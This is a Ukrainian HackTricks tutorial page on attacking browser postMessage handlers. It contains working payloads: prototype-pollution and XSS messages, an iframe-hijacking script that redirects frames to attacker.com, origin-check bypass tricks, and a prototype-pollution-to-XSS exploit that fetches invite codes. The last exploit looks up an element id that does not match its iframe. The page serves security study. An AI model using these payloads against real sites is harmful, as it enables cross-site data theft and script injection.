Уразливості PostMessage

Reading time: 8 minutes

Уразливості PostMessage

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Надіслати PostMessage

PostMessage використовує наступну функцію для надсилання повідомлення:

bash
targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Зверніть увагу, що targetOrigin може бути '*' або URL, наприклад, https://company.com.
У другому сценарії повідомлення можна надсилати лише на цей домен (навіть якщо походження об'єкта вікна інше).
Якщо використовується доменне ім'я, повідомлення можуть надсилатися на будь-який домен і будуть надіслані на походження об'єкта Window.

Атака на iframe та доменне ім'я в targetOrigin

Як пояснюється в цьому звіті, якщо ви знайдете сторінку, яку можна вставити в iframe (без захисту X-Frame-Header) і яка надсилає чутливі повідомлення через postMessage, використовуючи доменне ім'я (*), ви можете змінити походження iframe і викрити чутливе повідомлення на домен, контрольований вами.
Зверніть увагу, що якщо сторінка може бути вставлена в iframe, але targetOrigin встановлено на URL, а не на доменне ім'я, цей трюк не спрацює.

html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

експлуатація addEventListener

addEventListener - це функція, яка використовується JS для оголошення функції, що очікує postMessages.
Будуть використані код, подібний до наведеного нижче:

javascript
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return

// ...
},
false
)

Зверніть увагу, що перше, що робить код, це перевірка походження. Це надзвичайно важливо, особливо якщо сторінка збирається робити щось чутливе з отриманою інформацією (наприклад, змінювати пароль). Якщо не перевірити походження, зловмисники можуть змусити жертв надсилати довільні дані на ці кінцеві точки і змінювати паролі жертв (в цьому прикладі).

Перерахування

Щоб знайти обробники подій на поточній сторінці, ви можете:

  • Шукати JS код для window.addEventListener та $(window).on (версія JQuery)
  • Виконати в консолі інструментів розробника: getEventListeners(window)

  • Перейти до Elements --> Event Listeners в інструментах розробника браузера

Обхід перевірки походження

  • Атрибут event.isTrusted вважається безпечним, оскільки він повертає True лише для подій, які генеруються справжніми діями користувача. Хоча його важко обійти, якщо він реалізований правильно, його значення в перевірках безпеки є помітним.
  • Використання indexOf() для перевірки походження в подіях PostMessage може бути вразливим до обходу. Приклад, що ілюструє цю вразливість:
javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
  • Метод search() з String.prototype.search() призначений для регулярних виразів, а не рядків. Передача чого-небудь, крім регулярного виразу, призводить до неявного перетворення в regex, що робить метод потенційно небезпечним. Це пов'язано з тим, що в regex крапка (.) діє як підстановочний знак, що дозволяє обійти перевірку з особливо створеними доменами. Наприклад:
javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
  • Функція match(), подібно до search(), обробляє regex. Якщо regex неправильно структурований, він може бути вразливим до обходу.

  • Функція escapeHtml призначена для санітарної обробки введень шляхом екранування символів. Однак вона не створює нового екранованого об'єкта, а перезаписує властивості існуючого об'єкта. Цю поведінку можна експлуатувати. Зокрема, якщо об'єкт можна маніпулювати так, що його контрольована властивість не визнає hasOwnProperty, escapeHtml не буде працювати, як очікувалося. Це продемонстровано в наведених нижче прикладах:

  • Очікувана помилка:

javascript
result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
  • Обхід екранування:
javascript
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"

У контексті цієї вразливості об'єкт File є особливо вразливим через його тільки для читання властивість name. Ця властивість, коли використовується в шаблонах, не санітарно обробляється функцією escapeHtml, що призводить до потенційних ризиків безпеки.

  • Властивість document.domain в JavaScript може бути встановлена скриптом для скорочення домену, що дозволяє більш м'яке застосування політики однакового походження в межах одного батьківського домену.

Обхід e.origin == window.origin

Коли ви вбудовуєте веб-сторінку в пісочницю iframe за допомогою %%%%%%, важливо розуміти, що походження iframe буде встановлено в null. Це особливо важливо при роботі з атрибутами пісочниці та їх наслідками для безпеки та функціональності.

Вказуючи allow-popups в атрибуті пісочниці, будь-яке вікно спливаючого вікна, відкрите зсередини iframe, успадковує обмеження пісочниці свого батька. Це означає, що якщо атрибут allow-popups-to-escape-sandbox також не включений, походження спливаючого вікна також встановлюється в null, що відповідає походженню iframe.

В результаті, коли спливаюче вікно відкривається за цих умов і повідомлення надсилається з iframe до спливаючого вікна за допомогою postMessage, як відправник, так і отримувач мають свої походження, встановлені в null. Ця ситуація призводить до сценарію, де e.origin == window.origin оцінюється як істина (null == null), оскільки як iframe, так і спливаюче вікно мають одне й те саме значення походження null.

Для отримання додаткової інформації читайте:

Bypassing SOP with Iframes - 1

Обхід e.source

Можливо перевірити, чи повідомлення надійшло з того ж вікна, в якому скрипт слухає (особливо цікаво для Content Scripts з розширень браузера, щоб перевірити, чи повідомлення було надіслано з тієї ж сторінки):

javascript
// If it’s not, return immediately.
if (received_message.source !== window) {
return
}

Ви можете примусити e.source повідомлення бути null, створивши iframe, який надсилає postMessage і відразу видаляється.

Для отримання додаткової інформації читайте:

Bypassing SOP with Iframes - 2

Обхід X-Frame-Header

Щоб виконати ці атаки, ідеально, щоб ви могли вставити веб-сторінку жертви всередину iframe. Але деякі заголовки, такі як X-Frame-Header, можуть запобігти цій поведінці.
У таких сценаріях ви все ще можете використовувати менш приховану атаку. Ви можете відкрити нову вкладку для вразливого веб-додатку та спілкуватися з ним:

html
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Вкрадення повідомлення, надісланого дитині, шляхом блокування головної сторінки

На наступній сторінці ви можете побачити, як ви могли б вкрасти чутливі дані postmessage, надіслані до дитячого iframe, шляхом блокування головної сторінки перед відправкою даних і зловживання XSS у дитині для викриття даних до їх отримання:

Blocking main page to steal postmessage

Вкрадення повідомлення шляхом зміни місцезнаходження iframe

Якщо ви можете вставити веб-сторінку без X-Frame-Header, яка містить інший iframe, ви можете змінити місцезнаходження цього дитячого iframe, тому якщо він отримує postmessage, надіслане за допомогою wildcard, зловмисник може змінити цей iframe походження на сторінку, контрольовану ним, і вкрасти повідомлення:

Steal postmessage modifying iframe location

postMessage до Prototype Pollution та/або XSS

У сценаріях, коли дані, надіслані через postMessage, виконуються JS, ви можете вставити сторінку і використати прототипне забруднення/XSS, надіславши експлойт через postMessage.

Кілька дуже добре пояснених XSS через postMessage можна знайти в https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Приклад експлойту для зловживання Prototype Pollution, а потім XSS через postMessage до iframe:

html
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}

setTimeout(get_code, 2000)
</script>
</body>
</html>

Для додаткової інформації:

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks